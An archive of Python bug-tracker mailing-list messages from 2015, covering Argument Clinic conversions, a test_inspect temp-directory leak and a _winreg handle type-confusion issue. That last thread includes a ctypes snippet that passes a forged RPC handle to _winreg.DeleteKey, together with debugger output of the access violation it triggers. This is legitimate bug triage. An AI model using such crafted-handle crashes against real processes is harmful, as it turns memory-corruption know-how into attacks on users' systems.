nosy: +Almad

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20182] Derby #13: Convert 50 sites to Argument Clinic across 5 files

2015-05-16 Thread Tal Einat

Tal Einat added the comment:

Serhiy: Indeed, you're right about sys.getsizeof(). I'm tending towards 
changign it to use an optional group and per Serhiy's suggestion. Larry?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20182] Derby #13: Convert 50 sites to Argument Clinic across 5 files

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 5342fad7cd59 by Tal Einat in branch 'default':
Issue #20182: converted the signal module to use Argument Clinic
https://hg.python.org/cpython/rev/5342fad7cd59

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20182] Derby #13: Convert 50 sites to Argument Clinic across 5 files

2015-05-16 Thread Tal Einat

Tal Einat added the comment:

Attached in a conversion patch for Modules/_hashopenssl.c.

Since it appear that zlib has already been converted, that's the last file to 
convert in this batch!

All tests pass on my OSX 10.10 (after running "touch Modules/hashlib.h" to get 
make to recompile things that use _hashopenssl).


Notes:

1)
In HASH.__init__, the "name" parameter must be a string. However, the current 
code accepts any object and checks something else before checking whether the 
given object is a string. Therefore, changing the type from "object" to "str" 
would slightly change the parameter checking behavior. For now I've left it as 
it was. Also, since HASH.__new__ mirrors this, I've left it as-is as well.

2)
I slightly changed the first line of the HASH object's doc-string, to make it 
fit in one line. It was: "A hash represents the object used to calculate a 
checksum of a string of information." I've changed the beginning to "A hash is 
an object used to calculate ..."

3)
pbkdb_hmac accepts an optional "dklen" parameter which may be either a long or 
None. I left this as an "object", since long(accept={int, NoneType}) gives 
"long_converter: default value None for field dklen_obj is not of type int".

--
Added file: http://bugs.python.org/file39389/issue20182._hashopenssl.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Serhiy Storchaka

New submission from Serhiy Storchaka:

$ ./python -m test.regrtest -vv -m '*_eq*' test_inspect 
== CPython 3.5.0a4+ (default:a64a2e87+, May 15 2015, 09:50:37) [GCC 4.8.2]
==   Linux-3.13.0-52-generic-i686-with-debian-jessie-sid little-endian
==   hash algorithm: siphash24 32bit
==   /home/serhiy/py/cpython/build/test_python_17721
Testing with flags: sys.flags(debug=0, inspect=0, interactive=0, optimize=0, 
dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, 
verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0)
[1/1] test_inspect
test_signature_equality (test.test_inspect.TestSignatureObject) ... ok
test_signature_parameter_equality (test.test_inspect.TestParameterObject) ... ok
test_signature_bound_arguments_equality (test.test_inspect.TestBoundArguments) 
... ok

--
Ran 3 tests in 0.032s

OK
Warning -- files was modified by test_inspect
  Before: []
  After:  ['@test_17721_tmp_dir/'] 
1 test altered the execution environment:
test_inspect

--
components: Tests
messages: 243307
nosy: serhiy.storchaka, yselivanov
priority: normal
severity: normal
status: open
title: test_inspect leaks temporary directory
type: behavior
versions: Python 3.4, Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-16 Thread eryksun

eryksun added the comment:

> ntdll!RtlAllocateHeap+0x17: 
> 776f1037 8b4344  mov eax,dword ptr [ebx+44h] 
> ds:002b:0044=

Some functions in RPCRT4 assume RPCRT4!PerformRpcInitialization has already 
been called. How else could you get an RPC handle? In this case RPCRT4!hRpcHeap 
hasn't been initialized yet.

That said, if you first perform some operation that properly initializes RPCRT4 
-- such as query a privilege value from LSA -- then using a corrupt RPC handle 
will possibly trigger an unhandled exception farther down the line. I don't 
think this is a problem that needs to be addressed in winreg. It's an 
application bug. 

Also, note that changing this in the winreg module isn't as simple as just 
commenting out the code in PyHKEY_AsHKEY. You'd also have to special case the 
HKEY constants, one way or another.

Here's an example that first calls an LSA API to initialize RPCRT4 (test 
system: 64-bit Windows 10, 32-bit Python 2.7).

Microsoft (R) Windows Debugger Version 10.0.10075.9 X86
Copyright (c) Microsoft Corporation. All rights reserved.

CommandLine: python

* Symbol Path validation summary **
Response Time (ms) Location
Deferred   symsrv*symsrv.dll*
C:\Symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: symsrv*symsrv.dll*
C:\Symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
(818.b4c): Break instruction exception - code 8003 (first chance)
eax= ebx= ecx=0cbe edx= esi=1de8 
edi=7ffde000
eip=7756fb65 esp=0028fa64 ebp=0028fa90 iopl=0 nv up ei pl zr na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=0246
ntdll!LdrpDoDebuggerBreak+0x2b:
7756fb65 cc  int 3
0:000> bp RPCRT4!PerformRpcInitialization
0:000> g

Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] 
on win32
Type "help", "copyright", "credits" or "license" for more information.

>>> import ctypes, _winreg
>>> advapi32 = ctypes.WinDLL('advapi32')
>>> x = (ctypes.c_void_p * 4)()
>>> advapi32.LookupPrivilegeValueA(None, 'SeDebugPrivilege', x)

Breakpoint 0 hit
eax=0028f558 ebx= ecx= edx= esi= 
edi=0028f580
eip=7477183a esp=0028f51c ebp=0028f530 iopl=0 nv up ei pl zr na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=0246
RPCRT4!PerformRpcInitialization:
7477183a 8bffmov edi,edi

0:000> dd RPCRT4!hRpcHeap l1
747dc870  
0:000> pt; dd RPCRT4!hRpcHeap l1
747dc870  003a
0:000> g
1

>>> x[0] = 123 # bad internal RPC handle
>>> x[1] = 0xFEDCBA98 # RPC context handle signature
>>> _winreg.DeleteKey(ctypes.addressof(x) | 1, '')

RPCRT4 is initialized, so the unhandled exception shown below is no longer due 
to RPCRT4!hRpcHeap. Checking the context handle also succeeds in this case 
since I added the 0xFEDCBA98 signature, but it fails while checking the 
internal handle (0x7b, in register esi) for the signature 0x89ABCDEF.

(818.b4c): Access violation - code c005 (!!! second chance !!!)
eax=9b4e8357 ebx=0028f860 ecx=0024 edx=0001 esi=007b 
edi=748c66d0
eip=74766121 esp=0028f814 ebp=0028f828 iopl=0 nv up ei pl nz na pe 
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b 
efl=00010206
RPCRT4!I_RpcGetBufferWithObject+0x21:
74766121 817e04efcdab89  cmp dword ptr [esi+4],89ABCDEFh 
ds:002b:007f=

In a 64-bit process this example doesn't crash the process. Instead the x64 
version of RPCRT4.DLL handles the access violation by returning the exception 
code 0xC005.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



  1   2   >